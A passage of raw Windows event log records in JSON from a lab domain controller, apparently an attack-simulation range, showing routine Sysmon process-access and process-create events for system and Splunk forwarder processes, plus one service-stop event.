|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-001092E00400}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-001092E00400}","TargetProcessId":"4364","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.200\r\nSourceProcessGUID: {90617006-4067-5F2D-0000-001092E00400}\r\nSourceProcessId: 4364\r\nSourceThreadId: 2228\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.200","SourceProcessGUID":"{90617006-4067-5F2D-0000-001092E00400}","SourceProcessId":"4364","SourceThreadId":"2228","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76835,"ProcessID":852,"ThreadID":1108,"Channel":"System","Message":"The MapsBroker service entered the stopped state.","param1":"MapsBroker","param2":"stopped","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nProcessGuid: {90617006-4067-5F2D-0000-0010BAE20400}\r\nProcessId: 3764\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","ProcessGuid":"{90617006-4067-5F2D-0000-0010BAE20400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-0010BAE20400}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-0010BAE20400}","TargetProcessId":"3764","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-0010BAE20400}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-0010BAE20400}","TargetProcessId":"3764","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 